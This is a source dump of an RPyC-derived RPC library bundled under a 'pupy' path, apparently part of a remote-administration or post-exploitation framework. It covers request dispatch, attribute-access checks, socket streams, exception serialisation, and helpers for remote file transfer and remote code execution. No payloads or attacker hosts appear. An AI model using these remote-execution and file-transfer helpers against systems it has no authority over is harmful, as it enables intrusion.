                data = self._recv(timeout, wait_for_lock=False)
                if not data:
                    return False
                self._dispatch(data)
                return True
            finally:
                self._sync_lock.release()
                self._sync_event.set()
        else:
            self._sync_event.wait()

    def poll(self, timeout=0):
        """Serves a single transaction, should one arrives in the given
        interval. Note that handling a request/reply may trigger nested
        requests, which are all part of a single transaction.

        :returns: ``True`` if a transaction was served, ``False`` otherwise"""
        return self.sync_recv_and_dispatch(timeout, wait_for_lock=False)

    def serve(self, timeout=1):
        """Serves a single request or reply that arrives within the given
        time frame (default is 1 sec). Note that the dispatching of a request
        might trigger multiple (nested) requests, thus this function may be
        reentrant.

        :returns: ``True`` if a request or reply were received, ``False``
                  otherwise.
        """
        return self.sync_recv_and_dispatch(timeout, wait_for_lock=True)

    def serve_all(self):
        """Serves all requests and replies for as long as the connection is
        alive."""
        try:
            while True:
                self.serve(None)
        except (socket.error, select_error, IOError):
            if not self.closed:
                raise
        except EOFError:
            pass
        finally:
            self.close()

    def serve_threaded(self, thread_count=10):
        def _thread_target():
            try:
                while True:
                    self.serve(None)
            except (socket.error, select_error, IOError):
                if not self.closed:
                    raise
            except EOFError:
                pass

        threads = []

        """Serves all requests and replies for as long as the connection is
        alive."""
        try:
            for _ in range(thread_count):
                thread = Thread(target=_thread_target)
                thread.daemon = True
                thread.start()
                threads.append(thread)

            for thread in threads:
                thread.join()
        finally:
            self.close()

    def poll_all(self, timeout=0):
        """Serves all requests and replies that arrive within the given interval.

        :returns: ``True`` if at least a single transaction was served,
        ``False`` otherwise
        """
        at_least_once = False
        t0 = time.time()
        duration = timeout
        try:
            while True:
                if self.poll(duration):
                    at_least_once = True
                if timeout is not None:
                    duration = t0 + timeout - time.time()
                    if duration < 0:
                        break
        except EOFError:
            pass
        return at_least_once

    #
    # requests
    #
    def sync_request(self, handler, *args):
        """Sends a synchronous request (waits for the reply to arrive)

        :raises: any exception that the requets may be generated
        :returns: the result of the request
        """
        seq = self._get_seq_id()
        self._send_request(seq, handler, args)

        timeout = self._config["sync_request_timeout"]
        while seq not in self._sync_replies:
            self.sync_recv_and_dispatch(timeout, True)

        isexc, obj = self._sync_replies.pop(seq)
        if isexc:
            raise obj
        else:
            return obj

    def _async_request(self, handler, args=(), callback=(lambda a, b: None)):
        seq = self._get_seq_id()
        self._async_callbacks[seq] = callback
        try:
            self._send_request(seq, handler, args)
        except Exception:
            if seq in self._async_callbacks:
                del self._async_callbacks[seq]
            raise

    def async_request(self, handler, *args, **kwargs):
        """Send an asynchronous request (does not wait for it to finish)

        :returns: an :class:`.core.async.AsyncResult` object, which will
                  eventually hold the result (or exception)
        """
        timeout = kwargs.pop("timeout", None)
        if kwargs:
            raise TypeError("got unexpected keyword argument(s) %s" % (
                list(kwargs.keys()),))
        res = AsyncResult(weakref.proxy(self))
        self._async_request(handler, args, res)
        if timeout is not None:
            res.set_expiry(timeout)
        return res

    @property
    def root(self):
        """Fetches the root object (service) of the other party"""
        if self._remote_root is None:
            self._remote_root = self.sync_request(consts.HANDLE_GETROOT)
        return self._remote_root

    #
    # attribute access
    #
    def _check_attr(self, obj, name):
        name = as_native_string(name)

        if self._config["allow_exposed_attrs"]:
            if name.startswith(self._config["exposed_prefix"]):
                name2 = name
            else:
                name2 = self._config["exposed_prefix"] + name
            if hasattr(obj, name2):
                return name2

        if self._config["allow_all_attrs"]:
            return name

        if self._config["allow_safe_attrs"] and \
                name in self._config["safe_attrs"]:
            return name

        if self._config["allow_public_attrs"] and \
                not name.startswith("_"):
            return name

        return False

    def _access_attr(self, oid, name, args, overrider, param, default):

        name = as_native_string(name)

        obj = self._local_objects[oid]
        accessor = getattr(type(obj), overrider, None)

        if accessor is None:
            name2 = self._check_attr(obj, name)
            if not self._config[param] or not name2:
                raise AttributeError(
                    'Cannot access {}->{} (overrider={} ({}))'.format(
                        obj, name, overrider, accessor))

            accessor = default
            name = name2

        return accessor(obj, name, *args)

    #
    # request handlers
    #
    def _handle_ping(self, data):
        return data

    def _handle_close(self):
        self._cleanup()

    def _handle_getroot(self):
        return self._local_root

    def _handle_del(self, oid, count=1):
        self._local_objects.decref(oid)

    def _handle_repr(self, oid):
        return repr(self._local_objects[oid])

    def _handle_str(self, oid):
        return str(self._local_objects[oid])

    def _handle_cmp(self, oid, other):
        # cmp() might enter recursive resonance... yet another workaround
        # return cmp(self._local_objects[oid], other)
        obj = self._local_objects[oid]
        try:
            return type(obj).__cmp__(obj, other)
        except (AttributeError, TypeError):
            return NotImplemented

    def _handle_hash(self, oid):
        return hash(self._local_objects[oid])

    def _handle_call(self, oid, args, kwargs=()):
        kwargs = {
            as_native_string(key): value for (key, value) in kwargs
        }
        return self._local_objects[oid](*args, **kwargs)

    def _handle_dir(self, oid):
        return tuple(dir(self._local_objects[oid]))

    def _handle_inspect(self, oid):
        if hasattr(self._local_objects[oid], '____conn__'):
            conn = self._local_objects[oid].____conn__
            return conn.sync_request(consts.HANDLE_INSPECT, oid)
        else:
            return tuple(
                get_methods(
                    netref._local_netref_attrs, self._local_objects[oid]
                )
            )

    def _handle_getattr(self, oid, name):
        return self._access_attr(
            oid,
            as_native_string(name), (),
            "_rpyc_getattr", "allow_getattr", getattr
        )

    def _handle_delattr(self, oid, name):
        return self._access_attr(
            oid, as_native_string(name), (),
            "_rpyc_delattr", "allow_delattr", delattr
        )

    def _handle_setattr(self, oid, name, value):
        return self._access_attr(
            oid, as_native_string(name), (value,),
            "_rpyc_setattr", "allow_setattr", setattr
        )

    def _handle_callattr(self, oid, name, args, kwargs):
        kwargs = {
            as_native_string(key): value for (key, value) in kwargs
        }

        function = self._access_attr(
            oid,
            as_native_string(name), (),
            "_rpyc_getattr", "allow_getattr", getattr
        )

        return function(*args, **kwargs)

    def _handle_pickle(self, oid, proto):
        if not self._config["allow_pickle"]:
            raise ValueError("pickling is disabled")

        return pickle.dumps(self._local_objects[oid], proto)

    def _handle_buffiter(self, oid, count):
        items = []
        obj = self._local_objects[oid]
        i = 0
        try:
            while i < count:
                items.append(next(obj))
                i += 1
        except StopIteration:
            pass
        return tuple(items)

    def _handle_oldslicing(self, oid, attempt, fallback, start, stop, args):
        try:
            # first try __xxxitem__
            getitem = self._handle_getattr(oid, attempt)
            return getitem(slice(start, stop), *args)
        except Exception:
            # fallback to __xxxslice__. see issue #41
            if stop is None:
                stop = maxint
            getslice = self._handle_getattr(oid, fallback)
            return getslice(start, stop, *args)

    # collect handlers
    _HANDLERS = [None] * consts.HANDLE_MAX

    for name, obj in dict(locals()).items():
        if name.startswith("_handle_"):
            name2 = "HANDLE_" + name[8:].upper()
            if hasattr(consts, name2):
                _HANDLERS[getattr(consts, name2)] = obj
            else:
                raise NameError("no constant defined for %r", name)

    del name, name2, obj


================================================
FILE: pupy/network/lib/rpc/core/service.py
================================================
"""
Services are the heart of RPyC: each side of the connection exposes
a *service*, which define the capabilities available to the other side.

Note that the services by both parties need not be symmetric, e.g., one
side may exposed *service A*, while the other may expose *service B*.
As long as the two can interoperate, you're good to go.
"""

from __future__ import absolute_import
from __future__ import division
from __future__ import print_function

# Wrong conversions
# from __future__ import unicode_literals

from pupy.network.lib.compat import execute, is_py3k


class Service(object):
    """The service base-class. Derive from this class to implement custom RPyC
    services:

    * The name of the class implementing the ``Foo`` service should match the
      pattern ``FooService`` (suffixed by the word 'Service') ::

          class FooService(Service):
              pass

          FooService.get_service_name() # 'FOO'
          FooService.get_service_aliases() # ['FOO']

    * To supply a different name or aliases, use the ``ALIASES`` class attribute ::

          class Foobar(Service):
              ALIASES = ["foo", "bar", "lalaland"]

          Foobar.get_service_name() # 'FOO'
          Foobar.get_service_aliases() # ['FOO', 'BAR', 'LALALAND']

    * Override :func:`on_connect` to perform custom initialization

    * Override :func:`on_disconnect` to perform custom finalization

    * To add exposed methods or attributes, simply define them normally,
      but prefix their name by ``exposed_``, e.g. ::

          class FooService(Service):
              def exposed_add(self, x, y):
                  return x + y

    * All other names (not prefixed by ``exposed_``) are local (not accessible
      to the other party)

    .. note::
       You can override ``_rpyc_getattr``, ``_rpyc_setattr`` and ``_rpyc_delattr``
       to change attribute lookup -- but beware of possible **security implications!**
    """
    __slots__ = ["_conn"]
    ALIASES = ()

    def __init__(self, conn):
        self._conn = conn

    def on_connect(self):
        """called when the connection is established"""
        pass

    def on_disconnect(self):
        """called when the connection had already terminated for cleanup
        (must not perform any IO on the connection)"""
        pass

    # Using default defined in 'protocol.Connection._access_attr' for:
    # def _rpyc_getattr(self, name):

    def _rpyc_delattr(self, name):
        raise AttributeError("access denied")

    def _rpyc_setattr(self, name, value):
        raise AttributeError("access denied")

    @classmethod
    def get_service_aliases(cls):
        """returns a list of the aliases of this service"""
        if cls.ALIASES:
            return tuple(str(n).upper() for n in cls.ALIASES)
        name = cls.__name__.upper()
        if name.endswith("SERVICE"):
            name = name[:-7]
        return (name,)

    @classmethod
    def get_service_name(cls):
        """returns the canonical name of the service (which is its first
        alias)"""
        return cls.get_service_aliases()[0]

    exposed_get_service_aliases = get_service_aliases
    exposed_get_service_name = get_service_name


class ModuleNamespace(object):
    """used by the :class:`SlaveService` to implement the magical
    'module namespace'"""

    __slots__ = (
        "__getmodule", "__cache", "__weakref__"
    )

    def __init__(self, getmodule):
        self.__getmodule = getmodule
        self.__cache = {}

    def __contains__(self, name):
        try:
            self[name]
        except ImportError:
            return False
        else:
            return True

    def __getitem__(self, name):
        if isinstance(name, (tuple, list)):
            name = '.'.join(name)

        if name not in self.__cache:
            self.__cache[name] = self.__getmodule(name)

        return self.__cache[name]

    def __getattr__(self, name):
        return self[name]


================================================
FILE: pupy/network/lib/rpc/core/stream.py
================================================
"""
An abstraction layer over OS-dependent file-like objects, that provides a
consistent view of a *duplex byte stream*.
"""
from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
from __future__ import unicode_literals

import sys
import socket
import errno

from pupy.network.lib.compat import (
    poll, select_error, get_exc_errno
)

retry_errnos = (errno.EAGAIN, errno.EWOULDBLOCK)


class Stream(object):
    """Base Stream"""

    __slots__ = ()

    def close(self):
        """closes the stream, releasing any system resources associated with it"""
        raise NotImplementedError()

    @property
    def closed(self):
        """tests whether the stream is closed or not"""
        raise NotImplementedError()

    def fileno(self):
        """returns the stream's file descriptor"""
        raise NotImplementedError()

    def poll(self, timeout):
        """indicates whether the stream has data to read (within *timeout*
        seconds)"""
        try:
            p = poll()   # from lib.compat, it may be a select object on non-Unix platforms
            p.register(self.fileno(), "r")
            while True:
                try:
                    rl = p.poll(timeout)
                except select_error:
                    ex = sys.exc_info()[1]
                    if ex.args[0] == errno.EINTR:
                        continue
                    else:
                        raise
                else:
                    break
        except ValueError:
            # if the underlying call is a select(), then the following errors may happen:
            # - "ValueError: filedescriptor cannot be a negative integer (-1)"
            # - "ValueError: filedescriptor out of range in select()"
            # let's translate them to select.error
            ex = sys.exc_info()[1]
            raise select_error(str(ex))
        return bool(rl)

    def read(self, count):
        """reads **exactly** *count* bytes, or raise EOFError

        :param count: the number of bytes to read

        :returns: read data
        """
        raise NotImplementedError()

    def write(self, data):
        """writes the entire *data*, or raise EOFError

        :param data: a string of binary data
        """
        raise NotImplementedError()


class ClosedFile(object):
    """Represents a closed file object (singleton)"""

    __slots__ = ()

    def __getattr__(self, name):
        if name.startswith("__"): # issue 71
            raise AttributeError("stream has been closed (issue 71)")
        raise EOFError("stream has been closed")

    def close(self):
        pass

    @property
    def closed(self):
        return True

    def fileno(self):
        raise EOFError("stream has been closed")

ClosedFile = ClosedFile()


class SocketStream(Stream):
    """A stream over a socket"""

    __slots__ = ("sock",)

    MAX_IO_CHUNK = 8000

    def __init__(self, sock):
        self.sock = sock

    @classmethod
    def _connect(cls, host, port, family = socket.AF_INET, socktype = socket.SOCK_STREAM,
            proto = 0, timeout = 3, nodelay = False, keepalive = False):
        family, socktype, proto, _, sockaddr = socket.getaddrinfo(host, port, family,
            socktype, proto)[0]
        s = socket.socket(family, socktype, proto)
        s.settimeout(timeout)
        s.connect(sockaddr)
        if nodelay:
            s.setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1)
        if keepalive:
            s.setsockopt(socket.SOL_SOCKET, socket.SO_KEEPALIVE, 1)

            if hasattr(socket, "TCP_KEEPIDLE") and hasattr(socket, "TCP_KEEPINTVL") and hasattr(socket, "TCP_KEEPCNT"):
                # Linux specific: after <keepalive> idle seconds, start sending keepalives every <keepalive> seconds.
                # Drop connection after 5 failed keepalives
                # `keepalive` may be a bool or an integer
                if keepalive is True:
                    keepalive = 60
                if keepalive < 1:
                    raise ValueError("Keepalive minimal value is 1 second")

                s.setsockopt(socket.IPPROTO_TCP, socket.TCP_KEEPCNT, 5)
                s.setsockopt(socket.IPPROTO_TCP, socket.TCP_KEEPIDLE, keepalive)
                s.setsockopt(socket.IPPROTO_TCP, socket.TCP_KEEPINTVL, keepalive)
        return s

    @property
    def closed(self):
        return self.sock is ClosedFile

    def close(self):
        if not self.closed:
            try:
                self.sock.shutdown(socket.SHUT_RDWR)
            except Exception:
                pass

        self.sock.close()
        self.sock = ClosedFile

    def fileno(self):
        try:
            return self.sock.fileno()
        except socket.error:
            self.close()
            ex = sys.exc_info()[1]
            if get_exc_errno(ex) == errno.EBADF:
                raise EOFError()
            else:
                raise

    def read(self, count):
        data = []
        while count > 0:
            try:
                buf = self.sock.recv(min(self.MAX_IO_CHUNK, count))
            except socket.timeout:
                continue
            except socket.error:
                ex = sys.exc_info()[1]
                if get_exc_errno(ex) in retry_errnos:
                    # windows just has to be a bitch
                    continue
                self.close()
                raise EOFError(ex)
            if not buf:
                self.close()
                raise EOFError("connection closed by peer")
            data.append(buf)
            count -= len(buf)
        return b''.join(data)

    def write(self, data):
        try:
            while data:
                count = self.sock.send(data[:self.MAX_IO_CHUNK])
                data = data[count:]
        except socket.error:
            ex = sys.exc_info()[1]
            self.close()
            raise EOFError(ex)


================================================
FILE: pupy/network/lib/rpc/core/vinegar.py
================================================
"""
**Vinegar** ("when things go sour") is a safe serializer for exceptions.
The :data`configuration parameters <network.lib.rpc.core.protocol.DEFAULT_CONFIG>` control
its mode of operation, for instance, whether to allow *old-style* exceptions
(that do not derive from ``Exception``), whether to allow the :func:`load` to
import custom modules (imposes a security risk), etc.

Note that by changing the configuration parameters, this module can be made
non-secure. Keep this in mind.
"""

from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
from __future__ import unicode_literals

import sys
import traceback

try:
    import exceptions as exceptions_module
except ImportError:
    import builtins as exceptions_module
try:
    from types import InstanceType, ClassType
except ImportError:
    ClassType = type

from pupy.network.lib.rpc.core import brine
from pupy.network.lib.rpc.core import consts
from pupy.network.lib.compat import is_py3k, as_native_string


try:
    BaseException
except NameError:
    # python 2.4 compatible
    BaseException = Exception

def dump(typ, val, tb, include_local_traceback, version):
    """Dumps the given exceptions info, as returned by ``sys.exc_info()``

    :param typ: the exception's type (class)
    :param val: the exceptions' value (instance)
    :param tb: the exception's traceback (a ``traceback`` object)
    :param include_local_traceback: whether or not to include the local traceback
                                    in the dumped info. This may expose the other
                                    side to implementation details (code) and
                                    package structure, and may theoretically impose
                                    a security risk.

    :returns: A tuple of ``((module name, exception name), arguments, attributes,
              traceback text)``. This tuple can be safely passed to
              :func:`brine.dump <network.lib.rpc.core.brine.dump>`
    """
    if typ is StopIteration:
        return consts.EXC_STOP_ITERATION # optimization

    if type(typ) is str:
        return typ

    if include_local_traceback:
        tbtext = as_native_string('').join(
            traceback.format_exception(typ, val, tb)
        )
    else:
        tbtext = as_native_string(
            '<traceback denied>'
        )

    attrs = []
    args = []
    ignored_attrs = frozenset(["_remote_tb", "with_traceback"])

    for name in dir(val):
        if name == "args":
            for a in val.args:
                if brine.dumpable(a, version):
                    args.append(a)
                else:
                    args.append(repr(a))
        elif name.startswith("_") or name in ignored_attrs:
            continue
        else:
            try:
                attrval = getattr(val, name)
            except AttributeError:
                # skip this attr. see issue #108
                continue
            if not brine.dumpable(attrval, version):
                attrval = repr(attrval)
            attrs.append((name, attrval))

    return (typ.__module__, typ.__name__), tuple(args), tuple(attrs), tbtext


def load(
    val, import_custom_exceptions, instantiate_custom_exceptions,
        instantiate_oldstyle_exceptions):

    """
    Loads a dumped exception (the tuple returned by :func:`dump`) info a
    throwable exception object. If the exception cannot be instantiated for any
    reason (i.e., the security parameters do not allow it, or the exception
    class simply doesn't exist on the local machine), a
    :class:`GenericException` instance will be returned instead, containing
    all of the original exception's details.

    :param val: the dumped exception
    :param import_custom_exceptions: whether to allow this function to import
            custom modules (imposes a security risk)
    :param instantiate_custom_exceptions: whether to allow this function to
            instantiate "custom exceptions" (i.e., not one of the built-in
            exceptions, such as ``ValueError``, ``OSError``, etc.)
    :param instantiate_oldstyle_exceptions: whether to allow this function to
            instantiate exception classes that do not derive from
            ``BaseException``. This is required to support old-style
            exceptions. Not applicable for Python 3 and above.

    :returns: A throwable exception object
    """

    if val == consts.EXC_STOP_ITERATION:
        return StopIteration  # optimization

    if isinstance(val, (str, bytes)):
        return as_native_string(val)  # deprecated string exceptions

    (modname, clsname), args, attrs, tbtext = val

    modname = as_native_string(modname)
    clsname = as_native_string(clsname)

    attrs = tuple(
        (
            as_native_string(key),
            as_native_string(value, False)
        ) for (key, value) in attrs
    )

    args = tuple(
        as_native_string(arg, False) for arg in args
    )

    tbtext = as_native_string(tbtext)

    if import_custom_exceptions and modname not in sys.modules:
        try:
            __import__(modname, None, None, '*')
        except Exception:
            pass

    if instantiate_custom_exceptions:
        if modname in sys.modules:
            cls = getattr(sys.modules[modname], clsname, None)
        else:
            cls = None

    elif modname == exceptions_module.__name__:
        cls = getattr(exceptions_module, clsname, None)

    else:
        cls = None

    if is_py3k:
        if not isinstance(cls, type) or not issubclass(cls, BaseException):
            cls = None
    else:
        if not isinstance(cls, (type, ClassType)):
            cls = None
        elif issubclass(cls, ClassType) and not instantiate_oldstyle_exceptions:
            cls = None
        elif not issubclass(cls, BaseException):
            cls = None

    if cls is None:
        fullname = "%s.%s" % (modname, clsname)
        # py2: `type()` expects `str` not `unicode`!
        fullname = str(fullname)
        if fullname not in _generic_exceptions_cache:
            fakemodule = {"__module__": "%s/%s" % (__name__, modname)}
            if isinstance(GenericException, ClassType):
                _generic_exceptions_cache[fullname] = ClassType(
                    fullname, (GenericException,), fakemodule
                )
            else:
                _generic_exceptions_cache[fullname] = type(
                    fullname, (GenericException,), fakemodule
                )

        cls = _generic_exceptions_cache[fullname]

    cls = _get_exception_class(cls)

    # support old-style exception classes
    if ClassType is not type and isinstance(cls, ClassType):
        exc = InstanceType(cls)
    else:
        exc = cls.__new__(cls)

    exc.args = args
    for name, attrval in attrs:
        setattr(exc, name, attrval)

    exc._remote_tb = tbtext
    return exc


class GenericException(Exception):
    """A 'generic exception' that is raised when the exception the gotten from
    the other party cannot be instantiated locally"""
    pass

_generic_exceptions_cache = {}
_exception_classes_cache = {}

def _get_exception_class(cls):
    if cls in _exception_classes_cache:
        return _exception_classes_cache[cls]

    # subclass the exception class' to provide a version of __str__ that supports _remote_tb
    class Derived(cls):

        def __str__(self):
            try:
                text = cls.__str__(self)
            except Exception:
                text = "<Unprintable exception>"
            if hasattr(self, "_remote_tb"):
                text += "\n\n========= Remote Traceback (%d) =========\n%s" % (
                    self._remote_tb.count("\n\n========= Remote Traceback") + 1, self._remote_tb)
            return text

        def __repr__(self):
            return str(self)

    Derived.__name__ = cls.__name__
    Derived.__module__ = cls.__module__
    _exception_classes_cache[cls] = Derived
    return Derived


================================================
FILE: pupy/network/lib/rpc/lib/__init__.py
================================================
"""
A library of various helpers functions and classes
"""
from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
from __future__ import unicode_literals

import sys
import logging
import inspect


class MissingModule(object):
    __slots__ = ["__name"]

    def __init__(self, name):
        self.__name = name

    def __getattr__(self, name):
        if name.startswith("__"): # issue 71
            raise AttributeError("module %r not found" % (self.__name,))
        raise ImportError("module %r not found" % (self.__name,))

    def __bool__(self):
        return False

    __nonzero__ = __bool__


def safe_import(name):
    try:
        mod = __import__(name, None, None, "*")
    except ImportError:
        mod = MissingModule(name)
    except Exception:
        # issue 72: IronPython on Mono
        if sys.platform == "cli" and name == "signal": #os.name == "posix":
            mod = MissingModule(name)
        else:
            raise

    return mod


def setup_logger(quiet = False, logfile = None):
    opts = {}
    if quiet:
        opts['level'] = logging.ERROR
    else:
        opts['level'] = logging.DEBUG
    if logfile:
        opts['filename'] = logfile
    logging.basicConfig(**opts)


def get_methods(obj_attrs, obj):
    """introspects the given (local) object, returning a list of all of its
    methods (going up the MRO).

    :param obj: any local (not proxy) python object

    :returns: a list of ``(method name, docstring)`` tuples of all the methods
              of the given object
    """
    methods = {}
    attrs = {}

    if isinstance(obj, type):
        # don't forget the darn metaclass
        mros = list(reversed(type(obj).__mro__)) + list(reversed(obj.__mro__))
    else:
        mros = reversed(type(obj).__mro__)
    for basecls in mros:
        attrs.update(basecls.__dict__)

    for name, attr in attrs.items():
        if name not in obj_attrs and hasattr(attr, "__call__"):
            methods[name] = inspect.getdoc(attr)

    return methods.items()


================================================
FILE: pupy/network/lib/rpc/lib/colls.py
================================================
from __future__ import with_statement
from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
from __future__ import unicode_literals
import weakref
from threading import Lock

class WeakValueDict(object):
    """a light-weight version of weakref.WeakValueDictionary"""

    __slots__ = ("_dict",)

    def __init__(self):
        self._dict = {}

    def __repr__(self):
        return repr(self._dict)

    def __iter__(self):
        return self

    def __len__(self):
        return len(self._dict)

    def __contains__(self, key):
        try:
            self[key]
        except KeyError:
            return False
        else:
            return True

    def get(self, key, default = None):
        try:
            return self[key]
        except KeyError:
            return default

    def __getitem__(self, key):
        obj = self._dict[key]()
        if obj is None:
            raise KeyError(key)
        return obj

    def __setitem__(self, key, value):
        def remover(wr, _dict = self._dict, key = key):
            _dict.pop(key, None)
        self._dict[key] = weakref.ref(value, remover)

    def __delitem__(self, key):
        del self._dict[key]

    def iterkeys(self):
        return self._dict.keys()

    def keys(self):
        return self._dict.keys()

    def itervalues(self):
        for k in self:
            yield self[k]

    def values(self):
        return list(self.itervalues())

    def iteritems(self):
        for k in self:
            yield k, self[k]

    def items(self):
        return list(self.iteritems())

    def clear(self):
        self._dict.clear()


class RefCountingColl(object):
    """a set-like object that implements refcounting on its contained objects"""
    __slots__ = ("_lock", "_dict")

    def __init__(self):
        self._lock = Lock()
        self._dict = {}

    def __repr__(self):
        return repr(self._dict)

    def add(self, obj):
        with self._lock:
            key = id(obj)
            slot = self._dict.get(key, None)
            if slot is None:
                slot = [obj, 0]
            else:
                slot[1] += 1
            self._dict[key] = slot

    def clear(self):
        with self._lock:
            self._dict.clear()

    def decref(self, key, count=1):
        with self._lock:
            slot = self._dict[key]
            if slot[1] < count:
                del self._dict[key]
            else:
                slot[1] -= count
                self._dict[key] = slot

    def __getitem__(self, key):
        with self._lock:
            return self._dict[key][0]


================================================
FILE: pupy/network/lib/rpc/utils/__init__.py
================================================
"""
Utilities (not part of the core protocol)
"""
from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
from __future__ import unicode_literals


================================================
FILE: pupy/network/lib/rpc/utils/classic.py
================================================
from __future__ import with_statement
from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
from __future__ import unicode_literals

import sys
import os
import inspect

from io import open

from pupy.network.lib.compat import pickle, execute, is_py3k
from pupy.network.lib.rpc.core.service import ModuleNamespace
from contextlib import contextmanager

#===============================================================================
# remoting utilities
#===============================================================================


def upload(conn, localpath, remotepath, filter = None, ignore_invalid = False, chunk_size = 16000):
    """uploads a file or a directory to the given remote path

    :param localpath: the local file or directory
    :param remotepath: the remote path
    :param filter: a predicate that accepts the filename and determines whether
                   it should be uploaded; None means any file
    :param chunk_size: the IO chunk size
    """
    if os.path.isdir(localpath):
        upload_dir(conn, localpath, remotepath, filter, chunk_size)
    elif os.path.isfile(localpath):
        upload_file(conn, localpath, remotepath, chunk_size)
    else:
        if not ignore_invalid:
            raise ValueError("cannot upload %r" % (localpath,))


def upload_file(conn, localpath, remotepath, chunk_size = 16000):
    lf = open(localpath, "rb")
    rf = conn.builtin.open(remotepath, "wb")
    while True:
        buf = lf.read(chunk_size)
        if not buf:
            break
        rf.write(buf)
    lf.close()
    rf.close()


def upload_dir(conn, localpath, remotepath, filter = None, chunk_size = 16000):
    if not conn.modules.os.path.isdir(remotepath):
        conn.modules.os.makedirs(remotepath)
    for fn in os.listdir(localpath):
        if not filter or filter(fn):
            lfn = os.path.join(localpath, fn)
            rfn = conn.modules.os.path.join(remotepath, fn)
            upload(conn, lfn, rfn, filter = filter, ignore_invalid = True, chunk_size = chunk_size)


def download(conn, remotepath, localpath, filter = None, ignore_invalid = False, chunk_size = 16000):
    """
    download a file or a directory to the given remote path

    :param localpath: the local file or directory
    :param remotepath: the remote path
    :param filter: a predicate that accepts the filename and determines whether
                   it should be downloaded; None means any file
    :param chunk_size: the IO chunk size
    """
    if conn.modules.os.path.isdir(remotepath):
        download_dir(conn, remotepath, localpath, filter)
    elif conn.modules.os.path.isfile(remotepath):
        download_file(conn, remotepath, localpath, chunk_size)
    else:
        if not ignore_invalid:
            raise ValueError("cannot download %r" % (remotepath,))


def download_file(conn, remotepath, localpath, chunk_size = 16000):
    rf = conn.builtin.open(remotepath, "rb")
    lf = open(localpath, "wb")
    while True:
        buf = rf.read(chunk_size)
        if not buf:
            break
        lf.write(buf)
    lf.close()
    rf.close()


def download_dir(conn, remotepath, localpath, filter = None, chunk_size = 16000):
    if not os.path.isdir(localpath):
        os.makedirs(localpath)
    for fn in conn.modules.os.listdir(remotepath):
        if not filter or filter(fn):
            rfn = conn.modules.os.path.join(remotepath, fn)
            lfn = os.path.join(localpath, fn)
            download(conn, rfn, lfn, filter = filter, ignore_invalid = True)


def upload_package(conn, module, remotepath = None, chunk_size = 16000):
    """
    uploads a module or a package to the remote party

    :param conn: the RPyC connection to use
    :param module: the local module/package object to upload
    :param remotepath: the remote path (if ``None``, will default to the
                       remote system's python library (as reported by
                       ``distutils``)
    :param chunk_size: the IO chunk size

    .. note:: ``upload_module`` is just an alias to ``upload_package``

    example::

       import foo.bar
       ...
       network.lib.rpc.classic.upload_package(conn, foo.bar)

    """
    if remotepath is None:
        site = conn.modules["distutils.sysconfig"].get_python_lib()
        remotepath = conn.modules.os.path.join(site, module.__name__)
    localpath = os.path.dirname(os.path.abspath(inspect.getsourcefile(module)))
    upload(conn, localpath, remotepath, chunk_size = chunk_size)

upload_module = upload_package


def obtain(proxy):
    """obtains (copies) a remote object from a proxy object. the object is
    ``pickled`` on the remote side and ``unpickled`` locally, thus moved
    **by value**. changes made to the local object will not reflect remotely.

    :param proxy: an RPyC proxy object

    .. note:: the remote object to must be ``pickle``-able

    :returns: a copy of the remote object
    """
    return pickle.loads(pickle.dumps(proxy, 2))


def deliver(conn, localobj):
    """delivers (recreates) a local object on the other party. the object is
    ``pickled`` locally and ``unpickled`` on the remote side, thus moved
    **by value**. changes made to the remote object will not reflect locally.

    :param conn: the RPyC connection
    :param localobj: the local object to deliver

    .. note:: the object must be ``picklable``

    :returns: a proxy to the remote object
    """
    return conn.modules["network.lib.compat"].pickle.loads(
        pickle.dumps(localobj, 2))


@contextmanager
def redirected_stdio(conn):
    r"""
    Redirects the other party's ``stdin``, ``stdout`` and ``stderr`` to
    those of the local party, so remote IO will occur locally.

    Example usage::

        with redirected_stdio(conn):
            conn.modules.sys.stdout.write("hello\n")   # will be printed locally

    """
    orig_stdin = conn.modules.sys.stdin
    orig_stdout = conn.modules.sys.stdout
    orig_stderr = conn.modules.sys.stderr
    try:
        conn.modules.sys.stdin = sys.stdin
        conn.modules.sys.stdout = sys.stdout
        conn.modules.sys.stderr = sys.stderr
        yield
    finally:
        conn.modules.sys.stdin = orig_stdin
        conn.modules.sys.stdout = orig_stdout
        conn.modules.sys.stderr = orig_stderr


def pm(conn):
    """same as ``pdb.pm()`` but on a remote exception

    :param conn: the RPyC connection
    """
    #pdb.post_mortem(conn.root.getconn()._last_traceback)
    with redirected_stdio(conn):
        conn.modules.pdb.post_mortem(conn.root.getconn()._last_traceback)


def interact(conn, namespace = None):
    """remote interactive interpreter

    :param conn: the RPyC connection
    :param namespace: the namespace to use (a ``dict``)
    """
    if namespace is None:
        namespace = {}
    namespace["conn"] = conn
    with redirected_stdio(conn):
        conn.execute("""def _rinteract(ns):
            import code
            code.interact(local = dict(ns))""")
        conn.namespace["_rinteract"](namespace)


class MockClassicConnection(object):
    """Mock classic RPyC connection object. Useful when you want the same code to run remotely or locally.

    """
    def __init__(self):
        self._conn = None
        self.namespace = {}
        self.modules = ModuleNamespace(self.getmodule)

        if is_py3k:
            self.builtin = self.modules.builtins
        else:
            self.builtin = self.modules.__builtin__

        self.builtins = self.builtin

    def execute(self, text):
        execute(text, self.namespace)

    def eval(self, text):
        return eval(text, self.namespace)

    def getmodule(self, name):
        return __import__(name, None, None, "*")

    def getconn(self):
        return None

def teleport_function(conn, func):
    """
    "Teleports" a function (including nested functions/closures) over the RPyC connection.
    The function is passed in bytecode form and reconstructed on the other side.

    The function cannot have non-brinable defaults (e.g., ``def f(x, y=[8]):``,
    since a ``list`` isn't brinable), or make use of non-builtin globals (like modules).
    You can overcome the second restriction by moving the necessary imports into the
    function body, e.g. ::

        def f(x, y):
            import os
            return (os.getpid() + y) * x

    :param conn: the RPyC connection
    :param func: the function object to be delivered to the other party
    """
    from pupy.network.lib.rpc.utils.teleportation import export_function
    exported = export_function(func)
    return conn.modules["network.lib.rpc.utils.teleportation"].import_function(exported)


================================================
FILE: pupy/network/lib/rpc/utils/helpers.py
================================================
"""
Helpers and wrappers for common RPyC tasks
"""
from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
from __future__ import unicode_literals

import time
import threading

